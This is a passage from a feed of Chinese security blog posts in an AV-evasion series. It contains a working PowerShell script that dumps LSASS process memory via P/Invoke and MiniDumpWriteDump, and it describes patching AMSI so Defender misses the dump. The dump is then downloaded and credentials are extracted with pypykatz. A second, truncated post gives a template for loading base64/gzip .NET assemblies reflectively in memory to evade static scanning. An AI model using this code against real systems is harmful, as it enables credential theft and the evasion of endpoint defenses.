0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">环境</h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">本地 Kali Linux 攻击机。</p></li></ul><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">过程</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">P/Invoke</p>允许从非托管二进制 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows DLL</p> 访问结构、回调和函数，以便访问可能无法直接从 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">.NET</p> 获得的原生组件中的底层 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在，由于知道它的作用，并且知道可以在 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PowerShell</p> 中使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">.NET</p>，这意味着可以从 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PowerShell</p> 脚本访问底层 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>，如果之前修补 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AMSI</p>，我们可以在没有 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Defender</p> 监视的情况下运行该脚本。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">对于这个<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PoC</p>，假设想通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">MiniDumpWriteDump</p> 将 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">LSASS</p> 进程转储到文件中，该文件在“<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Dbghelp.dll</p>”中可用。为此，可以利用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fortra</p> 的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">nanodump</p> 工具。但是，它布满了太多<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">defender</p>可识别的特征。相反，可以利用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">P/Invoke</p> 编写一个 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PowerShell</p> 脚本来执行相同的操作，但可以修补 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AMSI</p> 以使其在这样做时变得不可检测。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，将为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PoC</p> 使用以下 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">powershell</p> 代码。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"># lsaKiller.ps1Add-Type @&#34;    using System;    using System.Runtime.InteropServices;    public class MiniDump {        [DllImport(&#34;Dbghelp.dll&#34;, SetLastError=true)]        public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);    }&#34;@$PROCESS_QUERY_INFORMATION = 0x0400$PROCESS_VM_READ = 0x0010$MiniDumpWithFullMemory = 0x00000002Add-Type -TypeDefinition @&#34;    using System;    using System.Runtime.InteropServices;    public class Kernel32 {        [DllImport(&#34;kernel32.dll&#34;, SetLastError=true)]        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);        [DllImport(&#34;kernel32.dll&#34;, SetLastError=true)]        public static extern bool CloseHandle(IntPtr hObject);    }&#34;@$processId =&#34;788&#34;$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)if ($processHandle -ne [IntPtr]::Zero) {    $dumpFile = [System.IO.File]::Create(&#34;C:\users\public\test1234.txt&#34;)    $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()    $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)    if ($result) {        Write-Host &#34;Sucess&#34;    } else {        Write-Host &#34;Failed&#34; -ForegroundColor Red    }    $dumpFile.Close()    [Kernel32]::CloseHandle($processHandle)} else {    Write-Host &#34;Failed to open process handle.&#34; -ForegroundColor Red}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在此示例中，首先通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Add-Type</p> 从 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Dbghelp.dll</p> 导入 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">MiniDumpWriteDump</p> 函数，然后从 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kernel32.dll</p> 导入 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">OpenProcess</p> 和 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloseHandle</p>。然后最终得到 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">LSASS</p> 进程的句柄并使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">MiniDumpWriteDump</p> 执行进程的完整内存转储并将其写入文件。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，完整的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PoC</p> 如下：</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">执行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">LSASS</p> 转储</div></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5154419595314164" data-type="png" data-w="939" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0fd444c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kibMC8l4Ks870l6LqcHD0ukvzsd59GqQAOdKPTcViaoZTRYjWhGDE4uDQ%2F640%3Fwx_fmt%3Dpng"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">impacket-smbclient</p> 下载转储</div></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4884318766066838" data-type="png" data-w="778" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=585e3238&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kianrzOIKFWh5mWhBb5BYLfcRKK7obIvwrZoQVI9a0iaj4odAdJTUPLNg%2F640%3Fwx_fmt%3Dpng"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pypykatz</p> 在本地解析 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">MiniDump</p> 文件</div></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.4174573055028463" data-type="png" data-w="527" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=92da4099&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7k5ibpWK3HTG6yN6iaZ4M3iarfs1FGxogSSdfGu2Ij6fELPJfaCn7tViaOaw%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">请注意，最后使用了一个稍微修改过的脚本，该脚本在将转储写入文件之前将其加密为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">base64</p>，因为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Defender</p> 将文件检测为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">LSASS</p> 转储并将其删除。</div><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号: 054216</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b0fd444c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kibMC8l4Ks870l6LqcHD0ukvzsd59GqQAOdKPTcViaoZTRYjWhGDE4uDQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=585e3238&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kianrzOIKFWh5mWhBb5BYLfcRKK7obIvwrZoQVI9a0iaj4odAdJTUPLNg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=92da4099&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7k5ibpWK3HTG6yN6iaZ4M3iarfs1FGxogSSdfGu2Ij6fELPJfaCn7tViaOaw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489468">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eb489964&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489468%26idx%3D1%26sn%3Df01e7b08ddf4a5519ec729a9ef9063bc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 May 2023 08:07:00 +0800</pubDate>
    </item>
    <item>
      <title>卡巴defender火绒360免杀十种方法9: 借刀杀人</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489467&amp;idx=1&amp;sn=0fcca6f8a7230107aa2d9d14f3307ed8</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-23 08:11</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eece0f18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kKn8picuOwDS7ZHAI1FskoWMC8hA4X5hzRRsGXzVvaKtX6wZAIUeqic8w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weuitheme="light" data-id="MzU4NjY0NTExNA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/QXsgGBUcicbx6xrcgOW7u8WSYofSfx2y0VWAmzT5CR8RNMDIgmWTZbyepagBpxicbYUUcBrMzEHLpHRRB2bPJTeA/0?wx_fmt=png" data-nickname="奶牛安全" data-alias="" data-signature="像奶牛一样分享奶牛，不对，是安全技术" data-from="0" data-weui-theme="light"></mp-common-profile></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;overflow-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">环境</h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">本地 Kali Linux 攻击机。</p></li></ul><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">过程</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">可能还记得系列第一篇中在修补内存中的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AMSI</p> 后执行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Mimikatz</p> 作为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Defender</p> 停止扫描进程内存的演示。这是因为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">.NET</p> 公布了 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">System.Reflection.Assembly</p> 接口，可以使用它来反射加载和执行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">.NET </p>程序集（定义为“表示一个程序集，它是一个可重用、可版本化且自描述的公共构建块语言运行时应用程序。”）在内存中。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这当然对于攻击目的非常有用，因为 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PowerShell</p> 使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">.NET</p>，可以在脚本中使用它在内存中加载整个二进制文件，以绕过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows Defender</p> 大放异彩的静态分析。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">脚本的一般结构如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">function Invoke-YourTool{    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(&#34;yourbase64stringhere&#34;))    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)    $output = New-Object System.IO.MemoryStream    $decompressed.CopyTo( $output )    [byte[]] $byteOutArray = $output.ToArray()    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)    $OldConsoleOut = [Console]::Out    $StringWriter = New-Object IO.StringWriter    [Console]::SetOut($StringWriter)    [ClassName.Program]::main([string[]]$args)    [Console]::SetOut($OldConsoleOut)    $Results = $StringWriter.ToString()    $Results  }</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Gzip</p> 